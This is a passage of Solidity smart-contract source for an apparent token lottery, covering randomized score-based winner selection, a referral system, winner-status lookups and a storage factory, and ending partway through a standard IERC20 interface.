// Can only be performed if algorithm is MinedWinnerSelection!
require( cfg.endingAlgoType ==
uint8(Lottery.EndingAlgoType.MinedWinnerSelection) );
// Now, we gotta find the winners using a Randomized Score-Based
// Winner Selection Algorithm.
//
// During transfers, all player intermediate scores
// (etherContributed, timeFactors, and tokenBalances) were
// already set in every holder's HolderData structure,
// during operations of updateHolderData_preTransfer() function.
//
// Minimum and maximum values are also known, so normalization
// will be easy.
// All referral tree score data were also properly propagated
// during operations of updateAndPropagateScoreChanges() function.
//
// All we now have to do, is loop through holder array, and
// compute randomized final scores for every holder, into
// the Final Score array.
// Declare the Final Score array - computed for all holders.
uint ARRLEN =
( holders.length > MINEDSELECTION_MAX_NUMBER_OF_HOLDERS ?
MINEDSELECTION_MAX_NUMBER_OF_HOLDERS : holders.length );
FinalScore[] memory finalScores = new FinalScore[] ( ARRLEN );
// Compute the precision-adjusted constant ratio of
// referralBonus max score to the player individual max scores.
int individualToReferralRatio =
( PRECISION * cfg.maxPlayerScore_refferalBonus ) /
( int( cfg.maxPlayerScore_etherContributed ) +
int( cfg.maxPlayerScore_timeFactor ) +
int( cfg.maxPlayerScore_tokenHoldingAmount ) );
// Max available player score.
int maxAvailablePlayerScore = int(
cfg.maxPlayerScore_etherContributed +
cfg.maxPlayerScore_timeFactor +
cfg.maxPlayerScore_tokenHoldingAmount +
cfg.maxPlayerScore_refferalBonus );
// Random Factor of scores, to maintain random-to-determined
// ratio equal to specific value (1:5 for example -
// "randPart" == 5, "scorePart" == 1).
//
// maxAvailablePlayerScore * FACT --- scorePart
// RANDOM_MODULO --- randPart
//
// RANDOM_MODULO * scorePart
// maxAvailablePlayerScore * FACT = -------------------------
// randPart
//
// RANDOM_MODULO * scorePart
// FACT = --------------------------------------
// randPart * maxAvailablePlayerScore
int SCORE_RAND_FACT =
( PRECISION * int(RANDOM_MODULO * cfg.randRatio_scorePart) ) /
( int(cfg.randRatio_randPart) * maxAvailablePlayerScore );
// Fix Min-Max scores, to avoid division by zero, if min == max.
// If min == max, make the difference equal to 1.
MinMaxHolderScores memory minMaxCpy = minMaxScores;
if( minMaxCpy.holderScore_etherContributed_min ==
minMaxCpy.holderScore_etherContributed_max )
minMaxCpy.holderScore_etherContributed_max =
minMaxCpy.holderScore_etherContributed_min + 1;
if( minMaxCpy.holderScore_timeFactors_min ==
minMaxCpy.holderScore_timeFactors_max )
minMaxCpy.holderScore_timeFactors_max =
minMaxCpy.holderScore_timeFactors_min + 1;
if( minMaxCpy.holderScore_tokenBalance_min ==
minMaxCpy.holderScore_tokenBalance_max )
minMaxCpy.holderScore_tokenBalance_max =
minMaxCpy.holderScore_tokenBalance_min + 1;
// Loop through all the holders.
for( uint i = 0; i < ARRLEN; i++ )
{
// Fetch the needed holder data to in-memory hdata variable,
// to save gas on score part computing functions.
HolderData memory hdata;
// Slot 1:
hdata.etherContributed =
holderData[ holders[ i ] ].etherContributed;
hdata.timeFactors =
holderData[ holders[ i ] ].timeFactors;
hdata.tokenBalance =
holderData[ holders[ i ] ].tokenBalance;
hdata.referreeCount =
holderData[ holders[ i ] ].referreeCount;
// Slot 2:
hdata.referree_etherContributed =
holderData[ holders[ i ] ].referree_etherContributed;
hdata.referree_timeFactors =
holderData[ holders[ i ] ].referree_timeFactors;
hdata.referree_tokenBalance =
holderData[ holders[ i ] ].referree_tokenBalance;
hdata.bonusScore =
holderData[ holders[ i ] ].bonusScore;
// Now, add bonus score, and compute total player's score:
// Bonus part, individual score part, and referree score part.
int totalPlayerScore =
hdata.bonusScore
+
computeHolderIndividualScores(
cfg, minMaxCpy, hdata )
+
computeReferreeScoresForHolder(
individualToReferralRatio, cfg,
minMaxCpy, hdata );
// Check if total player score <= 0. If so, make it equal
// to 1, because otherwise randomization won't be possible.
if( totalPlayerScore <= 0 )
totalPlayerScore = 1;
// Now, check if it's not more than max! If so, lowerify.
// This could have happen'd because of bonus.
if( totalPlayerScore > maxAvailablePlayerScore )
totalPlayerScore = maxAvailablePlayerScore;
// Multiply the score by the Random Modulo Adjustment
// Factor, to get fairer ratio of random-to-determined data.
totalPlayerScore = ( totalPlayerScore * SCORE_RAND_FACT ) /
( PRECISION );
// Score is computed!
// Now, randomize it, and add to Final Scores Array.
// We use keccak to generate a random number from random seed,
// using holder's address as a nonce.
uint modulizedRandomNumber = uint(
keccak256( abi.encodePacked( randomSeed, holders[ i ] ) )
) % RANDOM_MODULO;
// Add the random number, to introduce the random factor.
// Ratio of (current) totalPlayerScore to modulizedRandomNumber
// is the same as ratio of randRatio_scorePart to
// randRatio_randPart.
uint endScore = uint( totalPlayerScore ) + modulizedRandomNumber;
// Finally, set this holder's final score data.
finalScores[ i ].addr = holders[ i ];
finalScores[ i ].holderIndex = uint16( i );
finalScores[ i ].score = uint64( endScore );
}
// All final scores are now computed.
// Sort the array, to find out the highest scores!
// Firstly, partition an array to only work on top K scores,
// where K is the number of winners.
// There can be a rare case where specified number of winners is
// more than lottery token holders. We got that covered.
require( finalScores.length > 0 );
uint K = cfg.winnerCount - 1;
if( K > finalScores.length-1 )
K = finalScores.length-1; // Must be THE LAST ELEMENT's INDEX.
// Use QuickSelect to do this.
QSort_QuickSelect( finalScores, 0,
int( finalScores.length - 1 ), int( K ) );
// Now, QuickSort only the first K items, because the rest
// item scores are not high enough to become winners.
QSort_QuickSort( finalScores, 0, int( K ) );
// Now, the winner array is sorted, with the highest scores
// sitting at the first positions!
// Let's set up the winner indexes array, where we'll store
// the winners' indexes in the holders array.
// So, if this array is [8, 2, 3], that means that
// Winner #1 is holders[8], winner #2 is holders[2], and
// winner #3 is holders[3].
// Set the Number Of Winners variable.
numberOfWinners = uint16( K + 1 );
// Now, we can loop through the first numberOfWinners elements, to set
// the holder indexes!
// Loop through 16 elements at a time, to fill the structs.
for( uint offset = 0; offset < numberOfWinners; offset += 16 )
{
WinnerIndexStruct memory windStruct;
uint loopStop = ( offset + 16 > numberOfWinners ?
numberOfWinners : offset + 16 );
for( uint i = offset; i < loopStop; i++ )
{
windStruct.indexes[ i - offset ] =finalScores[ i ].holderIndex;
}
// Push this now-filled struct to the storage array!
sortedWinnerIndexes.push( windStruct );
}
// That's it! We're done!
algorithmCompleted = true;
}
/**
* Add a holder to holders array.
* @param holder - address of a holder to add.
*/
function addHolder( address holder )
public
lotteryOnly
{
// Add it to list, and set index in the mapping.
holders.push( holder );
holderIndexes[ holder ] = holders.length - 1;
}
/**
* Removes the holder 'sender' from the Holders Array.
* However, this holder's HolderData structure persists!
*
* Notice that no index validity checks are performed, so, if
* 'sender' is not present in "holderIndexes" mapping, this
* function will remove the 0th holder instead!
* This is not a problem for us, because Lottery calls this
* function only when it's absolutely certain that 'sender' is
* present in the holders array.
*
* @param sender - address of a holder to remove.
* Named 'sender', because when token sender sends away all
* his tokens, he must then be removed from holders array.
*/
function removeHolder( address sender )
public
lotteryOnly
{
// Get index of the sender address in the holders array.
uint index = holderIndexes[ sender ];
// Remove the sender from array, by copying last element's
// value into the index'th element, where sender was before.
holders[ index ] = holders[ holders.length - 1 ];
// Remove the last element of array, which we've just copied.
holders.pop();
// Update indexes: remove the sender's index from the mapping,
// and change the previoulsy-last element's index to the
// one where we copied it - where sender was before.
delete holderIndexes[ sender ];
holderIndexes[ holders[ index ] ] = index;
}
/**
* Get holder array length.
*/
function getHolderCount()
public view
returns( uint )
{
return holders.length;
}
/**
* Generate a referral ID for a token holder.
* Referral ID is used to refer other wallets into playing our
* lottery.
* - Referrer gets bonus points for every wallet that bought
* lottery tokens and specified his referral ID.
* - Referrees (wallets who got referred by registering a valid
* referral ID, corresponding to some referrer), get some
* bonus points for specifying (registering) a referral ID.
*
* Referral ID is a uint256 number, which is generated by
* keccak256'ing the holder's address, holder's current
* token ballance, and current time.
*/
function generateReferralID( address holder )
public
lotteryOnly
returns( uint256 referralID )
{
// Check if holder has some tokens, and doesn't
// have his own referral ID yet.
require( holderData[ holder ].tokenBalance != 0 );
require( holderData[ holder ].referralID == 0 );
// Generate a referral ID with keccak.
uint256 refID = uint256( keccak256( abi.encodePacked(
holder, holderData[ holder ].tokenBalance, now ) ) );
// Specify the ID as current ID of this holder.
holderData[ holder ].referralID = refID;
// If this holder wasn't referred by anyone (his referrer is
// not set), and he's now generated his own ID, he won't
// be able to register as a referree of someone else
// from now on.
// This is done to prevent circular dependency in referrals.
// Do it by setting a referrer to ROOT_REFERRER address,
// which is an invalid address (address(1)).
if( holderData[ holder ].referrer == address( 0 ) )
holderData[ holder ].referrer = ROOT_REFERRER;
// Create a new referrer with this ID.
referrers[ refID ] = holder;
return refID;
}
/**
* Register a referral for a token holder, using a valid
* referral ID got from a referrer.
* This function is called by a referree, who obtained a
* valid referral ID from some referrer, who previously
* generated it using generateReferralID().
*
* You can only register a referral once!
* When you do so, you get bonus referral points!
*/
function registerReferral(
address holder,
int16 referralRegisteringBonus,
uint256 referralID )
public
lotteryOnly
returns( address _referrerAddress )
{
// Check if this holder has some tokens, and if he hasn't
// registered a referral yet.
require( holderData[ holder ].tokenBalance != 0 );
require( holderData[ holder ].referrer == address( 0 ) );
// Get the referrer's address from his ID, and specify
// it as a referrer of holder.
holderData[ holder ].referrer = referrers[ referralID ];
// Bonus points are added to this holder's score for
// registering a referral!
holderData[ holder ].bonusScore = referralRegisteringBonus;
// Increment number of referrees for every parent referrer,
// by traversing a referral tree child->parent way.
address referrerAddr = holderData[ holder ].referrer;
// Set the return value.
_referrerAddress = referrerAddr;
// Traverse a tree.
while( referrerAddr != ROOT_REFERRER &&
referrerAddr != address( 0 ) )
{
// Increment referree count for this referrrer.
holderData[ referrerAddr ].referreeCount++;
// Update the Referrer Scores of the referrer, adding this
// referree's scores to it's current values.
holderData[ referrerAddr ].referree_etherContributed +=
holderData[ holder ].etherContributed;
holderData[ referrerAddr ].referree_timeFactors +=
holderData[ holder ].timeFactors;
holderData[ referrerAddr ].referree_tokenBalance +=
holderData[ holder ].tokenBalance;
// Move to the higher-level referrer.
referrerAddr = holderData[ referrerAddr ].referrer;
}
return _referrerAddress;
}
/**
* Sets our random seed to some value.
* Should be called from Lottery, after obtaining random seed from
* the Randomness Provider.
*/
function setRandomSeed( uint _seed )
external
lotteryOnly
{
randomSeed = uint64( _seed );
}
/**
* Initialization function.
* Here, we bind our contract to the Lottery contract that
* this Storage belongs to.
* The parent lottery must call this function - hence, we set
* "lottery" to msg.sender.
*
* When this function is called, our contract must be not yet
* initialized - "lottery" address must be Zero!
*
* Here, we also set our Winner Algorithm config, which is a
* subset of LotteryConfig, fitting into 1 storage slot.
*/
function initialize(
WinnerAlgorithmConfig memory _wcfg )
public
{
require( address( lottery ) == address( 0 ) );
// Set the Lottery address (msg.sender can't be zero),
// and thus, set our contract to initialized!
lottery = msg.sender;
// Set the Winner-Algo-Config.
algConfig = _wcfg;
// NOT-NEEDED: Set initial min-max scores: min is INT_MAX.
/*minMaxScores.holderScore_etherContributed_min = int80( 2 ** 78 );
minMaxScores.holderScore_timeFactors_min = int80( 2 ** 78 );
minMaxScores.holderScore_tokenBalance_min = int80( 2 ** 78 );
*/
}
// ==================== Views ==================== //
// Returns the current random seed.
// If the seed hasn't been set yet (or set to 0), returns 0.
//
function getRandomSeed()
external view
returns( uint )
{
return randomSeed;
}
// Check if Winner Selection Algorithm has beed executed.
//
function minedSelection_algorithmAlreadyExecuted()
external view
returns( bool )
{
return algorithmCompleted;
}
/**
* After lottery has completed, this function returns if "addr"
* is one of lottery winners, and the position in winner rankings.
* Function is used to obtain the ranking position before
* calling claimWinnerPrize() on Lottery.
*
* This function should be called off-chain, and then using the
* retrieved data, one can call claimWinnerPrize().
*/
function minedSelection_getWinnerStatus(
address addr )
public view
returns( bool isWinner,
uint32 rankingPosition )
{
// Loop through the whole winner indexes array, trying to
// find if "addr" is one of the winner addresses.
for( uint16 i = 0; i < numberOfWinners; i++ )
{
// Check if holder on this winner ranking's index position
// is addr, if so, good!
uint pos = sortedWinnerIndexes[ i / 16 ].indexes[ i % 16 ];
if( holders[ pos ] == addr )
{
return ( true, i );
}
}
// The "addr" is not a winner.
return ( false, 0 );
}
/**
* Checks if address is on specified winner ranking position.
* Used in Lottery, to check if msg.sender is really the
* winner #rankingPosition, as he claims to be.
*/
function minedSelection_isAddressOnWinnerPosition(
address addr,
uint32 rankingPosition )
external view
returns( bool )
{
if( rankingPosition >= numberOfWinners )
return false;
// Just check if address at "holders" array
// index "sortedWinnerIndexes[ position ]" is really the "addr".
uint pos = sortedWinnerIndexes[ rankingPosition / 16 ]
.indexes[ rankingPosition % 16 ];
return ( holders[ pos ] == addr );
}
/**
* Returns an array of all winner addresses, sorted by their
* ranking position (winner #1 first, #2 second, etc.).
*/
function minedSelection_getAllWinners()
external view
returns( address[] memory )
{
address[] memory winners = new address[] ( numberOfWinners );
for( uint i = 0; i < numberOfWinners; i++ )
{
uint pos = sortedWinnerIndexes[ i / 16 ].indexes[ i % 16 ];
winners[ i ] = holders[ pos ];
}
return winners;
}
/**
* Compute the Lottery Active Stage Score of a token holder.
*
* This function computes the Active Stage (pre-randomization)
* player score, and should generally be used to compute player
* intermediate scores - while lottery is still active or on
* finishing stage, before random random seed is obtained.
*/
function getPlayerActiveStageScore( address holderAddr )
external view
returns( uint playerScore )
{
// Copy the Winner Algo Config into memory, to avoid using
// 400-gas costing SLOAD every time we need to load something.
WinnerAlgorithmConfig memory cfg = algConfig;
// Check if holderAddr is a holder at all!
if( holders[ holderIndexes[ holderAddr ] ] != holderAddr )
return 0;
// Compute the precision-adjusted constant ratio of
// referralBonus max score to the player individual max scores.
int individualToReferralRatio =
( PRECISION * cfg.maxPlayerScore_refferalBonus ) /
( int( cfg.maxPlayerScore_etherContributed ) +
int( cfg.maxPlayerScore_timeFactor ) +
int( cfg.maxPlayerScore_tokenHoldingAmount ) );
// Max available player score.
int maxAvailablePlayerScore = int(
cfg.maxPlayerScore_etherContributed +
cfg.maxPlayerScore_timeFactor +
cfg.maxPlayerScore_tokenHoldingAmount +
cfg.maxPlayerScore_refferalBonus );
// Fix Min-Max scores, to avoid division by zero, if min == max.
// If min == max, make the difference equal to 1.
MinMaxHolderScores memory minMaxCpy = minMaxScores;
if( minMaxCpy.holderScore_etherContributed_min ==
minMaxCpy.holderScore_etherContributed_max )
minMaxCpy.holderScore_etherContributed_max =
minMaxCpy.holderScore_etherContributed_min + 1;
if( minMaxCpy.holderScore_timeFactors_min ==
minMaxCpy.holderScore_timeFactors_max )
minMaxCpy.holderScore_timeFactors_max =
minMaxCpy.holderScore_timeFactors_min + 1;
if( minMaxCpy.holderScore_tokenBalance_min ==
minMaxCpy.holderScore_tokenBalance_max )
minMaxCpy.holderScore_tokenBalance_max =
minMaxCpy.holderScore_tokenBalance_min + 1;
// Now, add bonus score, and compute total player's score:
// Bonus part, individual score part, and referree score part.
int totalPlayerScore =
holderData[ holderAddr ].bonusScore
+
computeHolderIndividualScores(
cfg, minMaxCpy, holderData[ holderAddr ] )
+
computeReferreeScoresForHolder(
individualToReferralRatio, cfg,
minMaxCpy, holderData[ holderAddr ] );
// Check if total player score <= 0. If so, make it equal
// to 1, because otherwise randomization won't be possible.
if( totalPlayerScore <= 0 )
totalPlayerScore = 1;
// Now, check if it's not more than max! If so, lowerify.
// This could have happen'd because of bonus.
if( totalPlayerScore > maxAvailablePlayerScore )
totalPlayerScore = maxAvailablePlayerScore;
// Return the score!
return uint( totalPlayerScore );
}
/**
* Internal sub-procedure of the function below, used to obtain
* a final, randomized score of a Single Holder.
*/
function priv_getSingleHolderScore(
address hold3r,
int individualToReferralRatio,
int maxAvailablePlayerScore,
int SCORE_RAND_FACT,
WinnerAlgorithmConfig memory cfg,
MinMaxHolderScores memory minMaxCpy )
internal view
returns( uint endScore )
{
// Fetch the needed holder data to in-memory hdata variable,
// to save gas on score part computing functions.
HolderData memory hdata;
// Slot 1:
hdata.etherContributed =
holderData[ hold3r ].etherContributed;
hdata.timeFactors =
holderData[ hold3r ].timeFactors;
hdata.tokenBalance =
holderData[ hold3r ].tokenBalance;
hdata.referreeCount =
holderData[ hold3r ].referreeCount;
// Slot 2:
hdata.referree_etherContributed =
holderData[ hold3r ].referree_etherContributed;
hdata.referree_timeFactors =
holderData[ hold3r ].referree_timeFactors;
hdata.referree_tokenBalance =
holderData[ hold3r ].referree_tokenBalance;
hdata.bonusScore =
holderData[ hold3r ].bonusScore;
// Now, add bonus score, and compute total player's score:
// Bonus part, individual score part, and referree score part.
int totalPlayerScore =
hdata.bonusScore
+
computeHolderIndividualScores(
cfg, minMaxCpy, hdata )
+
computeReferreeScoresForHolder(
individualToReferralRatio, cfg,
minMaxCpy, hdata );
// Check if total player score <= 0. If so, make it equal
// to 1, because otherwise randomization won't be possible.
if( totalPlayerScore <= 0 )
totalPlayerScore = 1;
// Now, check if it's not more than max! If so, lowerify.
// This could have happen'd because of bonus.
if( totalPlayerScore > maxAvailablePlayerScore )
totalPlayerScore = maxAvailablePlayerScore;
// Multiply the score by the Random Modulo Adjustment
// Factor, to get fairer ratio of random-to-determined data.
totalPlayerScore = ( totalPlayerScore * SCORE_RAND_FACT ) /
( PRECISION );
// Score is computed!
// Now, randomize it, and add to Final Scores Array.
// We use keccak to generate a random number from random seed,
// using holder's address as a nonce.
uint modulizedRandomNumber = uint(
keccak256( abi.encodePacked( randomSeed, hold3r ) )
) % RANDOM_MODULO;
// Add the random number, to introduce the random factor.
// Ratio of (current) totalPlayerScore to modulizedRandomNumber
// is the same as ratio of randRatio_scorePart to
// randRatio_randPart.
return uint( totalPlayerScore ) + modulizedRandomNumber;
}
/**
* Winner Self-Validation algo-type main function.
* Here, we compute scores for all lottery holders iteratively
* in O(n) time, and thus get the winner ranking position of
* the holder in question.
*
* This function performs essentialy the same steps as the
* Mined-variant (executeWinnerSelectionAlgorithm), but doesn't
* write anything to blockchain.
*
* @param holderAddr - address of a holder whose rank we want to find.
*/
function winnerSelfValidation_getWinnerStatus(
address holderAddr )
internal view
returns( bool isWinner, uint rankingPosition )
{
// Copy the Winner Algo Config into memory, to avoid using
// 400-gas costing SLOAD every time we need to load something.
WinnerAlgorithmConfig memory cfg = algConfig;
// Can only be performed if algorithm is WinnerSelfValidation!
require( cfg.endingAlgoType ==
uint8(Lottery.EndingAlgoType.WinnerSelfValidation) );
// Check if holderAddr is a holder at all!
require( holders[ holderIndexes[ holderAddr ] ] == holderAddr );
// Now, we gotta find the winners using a Randomized Score-Based
// Winner Selection Algorithm.
//
// During transfers, all player intermediate scores
// (etherContributed, timeFactors, and tokenBalances) were
// already set in every holder's HolderData structure,
// during operations of updateHolderData_preTransfer() function.
//
// Minimum and maximum values are also known, so normalization
// will be easy.
// All referral tree score data were also properly propagated
// during operations of updateAndPropagateScoreChanges() function.
//
// All we now have to do, is loop through holder array, and
// compute randomized final scores for every holder.
// Compute the precision-adjusted constant ratio of
// referralBonus max score to the player individual max scores.
int individualToReferralRatio =
( PRECISION * cfg.maxPlayerScore_refferalBonus ) /
( int( cfg.maxPlayerScore_etherContributed ) +
int( cfg.maxPlayerScore_timeFactor ) +
int( cfg.maxPlayerScore_tokenHoldingAmount ) );
// Max available player score.
int maxAvailablePlayerScore = int(
cfg.maxPlayerScore_etherContributed +
cfg.maxPlayerScore_timeFactor +
cfg.maxPlayerScore_tokenHoldingAmount +
cfg.maxPlayerScore_refferalBonus );
// Random Factor of scores, to maintain random-to-determined
// ratio equal to specific value (1:5 for example -
// "randPart" == 5, "scorePart" == 1).
//
// maxAvailablePlayerScore * FACT --- scorePart
// RANDOM_MODULO --- randPart
//
// RANDOM_MODULO * scorePart
// maxAvailablePlayerScore * FACT = -------------------------
// randPart
//
// RANDOM_MODULO * scorePart
// FACT = --------------------------------------
// randPart * maxAvailablePlayerScore
int SCORE_RAND_FACT =
( PRECISION * int(RANDOM_MODULO * cfg.randRatio_scorePart) ) /
( int(cfg.randRatio_randPart) * maxAvailablePlayerScore );
// Fix Min-Max scores, to avoid division by zero, if min == max.
// If min == max, make the difference equal to 1.
MinMaxHolderScores memory minMaxCpy = minMaxScores;
if( minMaxCpy.holderScore_etherContributed_min ==
minMaxCpy.holderScore_etherContributed_max )
minMaxCpy.holderScore_etherContributed_max =
minMaxCpy.holderScore_etherContributed_min + 1;
if( minMaxCpy.holderScore_timeFactors_min ==
minMaxCpy.holderScore_timeFactors_max )
minMaxCpy.holderScore_timeFactors_max =
minMaxCpy.holderScore_timeFactors_min + 1;
if( minMaxCpy.holderScore_tokenBalance_min ==
minMaxCpy.holderScore_tokenBalance_max )
minMaxCpy.holderScore_tokenBalance_max =
minMaxCpy.holderScore_tokenBalance_min + 1;
// How many holders had higher scores than "holderAddr".
// Used to obtain the final winner rank of "holderAddr".
uint numOfHoldersHigherThan = 0;
// The final (randomized) score of "holderAddr".
uint holderAddrsFinalScore = priv_getSingleHolderScore(
holderAddr,
individualToReferralRatio,
maxAvailablePlayerScore,
SCORE_RAND_FACT,
cfg, minMaxCpy );
// Index of holderAddr.
uint holderAddrIndex = holderIndexes[ holderAddr ];
// Loop through all the allowed holders.
for( uint i = 0;
i < ( holders.length < SELFVALIDATION_MAX_NUMBER_OF_HOLDERS ?
holders.length : SELFVALIDATION_MAX_NUMBER_OF_HOLDERS );
i++ )
{
// Skip the holderAddr's index.
if( i == holderAddrIndex )
continue;
// Compute the score using helper function.
uint endScore = priv_getSingleHolderScore(
holders[ i ],
individualToReferralRatio,
maxAvailablePlayerScore,
SCORE_RAND_FACT,
cfg, minMaxCpy );
// Check if score is higher than HolderAddr's, and if so, check.
if( endScore > holderAddrsFinalScore )
numOfHoldersHigherThan++;
}
// All scores are checked!
// Now, we can obtain holderAddr's winner rank based on how
// many scores were above holderAddr's score!
isWinner = ( numOfHoldersHigherThan < cfg.winnerCount );
rankingPosition = numOfHoldersHigherThan;
}
/**
* Rolled-Randomness algo-type main function.
* Here, we only compute the score of the holder in question,
* and compare it to maximum-available final score, divided
* by no-of-winners.
*
* @param holderAddr - address of a holder whose rank we want to find.
*/
function rolledRandomness_getWinnerStatus(
address holderAddr )
internal view
returns( bool isWinner, uint rankingPosition )
{
// Copy the Winner Algo Config into memory, to avoid using
// 400-gas costing SLOAD every time we need to load something.
WinnerAlgorithmConfig memory cfg = algConfig;
// Can only be performed if algorithm is RolledRandomness!
require( cfg.endingAlgoType ==
uint8(Lottery.EndingAlgoType.RolledRandomness) );
// Check if holderAddr is a holder at all!
require( holders[ holderIndexes[ holderAddr ] ] == holderAddr );
// Now, we gotta find the winners using a Randomized Score-Based
// Winner Selection Algorithm.
//
// During transfers, all player intermediate scores
// (etherContributed, timeFactors, and tokenBalances) were
// already set in every holder's HolderData structure,
// during operations of updateHolderData_preTransfer() function.
//
// Minimum and maximum values are also known, so normalization
// will be easy.
// All referral tree score data were also properly propagated
// during operations of updateAndPropagateScoreChanges() function.
//
// All we now have to do, is loop through holder array, and
// compute randomized final scores for every holder.
// Compute the precision-adjusted constant ratio of
// referralBonus max score to the player individual max scores.
int individualToReferralRatio =
( PRECISION * cfg.maxPlayerScore_refferalBonus ) /
( int( cfg.maxPlayerScore_etherContributed ) +
int( cfg.maxPlayerScore_timeFactor ) +
int( cfg.maxPlayerScore_tokenHoldingAmount ) );
// Max available player score.
int maxAvailablePlayerScore = int(
cfg.maxPlayerScore_etherContributed +
cfg.maxPlayerScore_timeFactor +
cfg.maxPlayerScore_tokenHoldingAmount +
cfg.maxPlayerScore_refferalBonus );
// Random Factor of scores, to maintain random-to-determined
// ratio equal to specific value (1:5 for example -
// "randPart" == 5, "scorePart" == 1).
//
// maxAvailablePlayerScore * FACT --- scorePart
// RANDOM_MODULO --- randPart
//
// RANDOM_MODULO * scorePart
// maxAvailablePlayerScore * FACT = -------------------------
// randPart
//
// RANDOM_MODULO * scorePart
// FACT = --------------------------------------
// randPart * maxAvailablePlayerScore
int SCORE_RAND_FACT =
( PRECISION * int(RANDOM_MODULO * cfg.randRatio_scorePart) ) /
( int(cfg.randRatio_randPart) * maxAvailablePlayerScore );
// Fix Min-Max scores, to avoid division by zero, if min == max.
// If min == max, make the difference equal to 1.
MinMaxHolderScores memory minMaxCpy = minMaxScores;
if( minMaxCpy.holderScore_etherContributed_min ==
minMaxCpy.holderScore_etherContributed_max )
minMaxCpy.holderScore_etherContributed_max =
minMaxCpy.holderScore_etherContributed_min + 1;
if( minMaxCpy.holderScore_timeFactors_min ==
minMaxCpy.holderScore_timeFactors_max )
minMaxCpy.holderScore_timeFactors_max =
minMaxCpy.holderScore_timeFactors_min + 1;
if( minMaxCpy.holderScore_tokenBalance_min ==
minMaxCpy.holderScore_tokenBalance_max )
minMaxCpy.holderScore_tokenBalance_max =
minMaxCpy.holderScore_tokenBalance_min + 1;
// The final (randomized) score of "holderAddr".
uint holderAddrsFinalScore = priv_getSingleHolderScore(
holderAddr,
individualToReferralRatio,
maxAvailablePlayerScore,
SCORE_RAND_FACT,
cfg, minMaxCpy );
// Now, compute the Max-Final-Random Score, divide it
// by the Holder Count, and get the ranking by placing this
// holder's score in it's corresponding part.
//
// In this approach, we assume linear randomness distribution.
// In practice, distribution might be a bit different, but this
// approach is the most efficient.
//
// Max-Final-Score (randomized) is the highest available score
// that can be achieved, and is made by adding together the
// maximum availabe Player Score Part and maximum available
// Random Part (equals RANDOM_MODULO).
// These parts have a ratio equal to config-specified
// randRatio_scorePart to randRatio_randPart.
//
// So, if player's active stage's score is low (1), but rand-part
// in ratio is huge, then the score is mostly random, so
// maxFinalScore is close to the RANDOM_MODULO - maximum random
// value that can be rolled.
//
// If, however, we use 1:1 playerScore-to-Random Ratio, then
// playerScore and RandomScore make up equal parts of end score,
// so the maxFinalScore is actually two times larger than
// RANDOM_MODULO, so player needs to score more
// player-points to get larger prizes.
//
// In default configuration, playerScore-to-random ratio is 1:3,
// so there's a good randomness factor, so even the low-scoring
// players can reasonably hope to get larger prizes, but
// the higher is player's active stage score, the more
// chances of scoring a high final score a player gets, with
// the higher-end of player scores basically guaranteeing
// themselves a specific prize amount, if winnerCount is
// big enough to overlap.
int maxRandomPart = int( RANDOM_MODULO - 1 );
int maxPlayerScorePart = ( SCORE_RAND_FACT * maxAvailablePlayerScore )
/ PRECISION;
uint maxFinalScore = uint( maxRandomPart + maxPlayerScorePart );
// Compute the amount that single-holder's virtual part
// might take up in the max-final score.
uint singleHolderPart = maxFinalScore / holders.length;
// Now, compute how many single-holder-parts are there in
// this holder's score.
uint holderAddrScorePartCount = holderAddrsFinalScore /
singleHolderPart;
// The ranking is that number, minus holders length.
// If very high score is scored, default to position 0 (highest).
rankingPosition = (
holderAddrScorePartCount < holders.length ?
holders.length - holderAddrScorePartCount : 0
);
isWinner = ( rankingPosition < cfg.winnerCount );
}
/**
* Genericized, algorithm type-dependent getWinnerStatus function.
*/
function getWinnerStatus(
address addr )
external view
returns( bool isWinner, uint32 rankingPosition )
{
bool _isW;
uint _rp;
if( algConfig.endingAlgoType ==
uint8(Lottery.EndingAlgoType.RolledRandomness) )
{
(_isW, _rp) = rolledRandomness_getWinnerStatus( addr );
return ( _isW, uint32( _rp ) );
}
if( algConfig.endingAlgoType ==
uint8(Lottery.EndingAlgoType.WinnerSelfValidation) )
{
(_isW, _rp) = winnerSelfValidation_getWinnerStatus( addr );
return ( _isW, uint32( _rp ) );
}
if( algConfig.endingAlgoType ==
uint8(Lottery.EndingAlgoType.MinedWinnerSelection) )
{
(_isW, _rp) = minedSelection_getWinnerStatus( addr );
return ( _isW, uint32( _rp ) );
}
}
}
contract UniLotteryStorageFactory
{
// The Pool Address.
address payable poolAddress;
// The Delegate Logic contract, containing all code for
// all LotteryStorage contracts to be deployed.
address immutable delegateContract;
// Pool-Only modifier.
modifier poolOnly
{
require( msg.sender == poolAddress );
_;
}
// Constructor.
// Deploy the Delegate Contract here.
//
constructor() public
{
delegateContract = address( new LotteryStorage() );
}
// Initialization function.
// Set the poolAddress as msg.sender, and lock it.
function initialize()
external
{
require( poolAddress == address( 0 ) );
// Set the Pool's Address.
poolAddress = msg.sender;
}
/**
* Deploy a new Lottery Storage Stub, to be used by it's corresponding
* Lottery Stub, which will be created later, passing this Storage
* we create here.
* @return newStorage - the Lottery Storage Stub contract just deployed.
*/
function createNewStorage()
public
poolOnly
returns( address newStorage )
{
return address( new LotteryStorageStub( delegateContract ) );
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
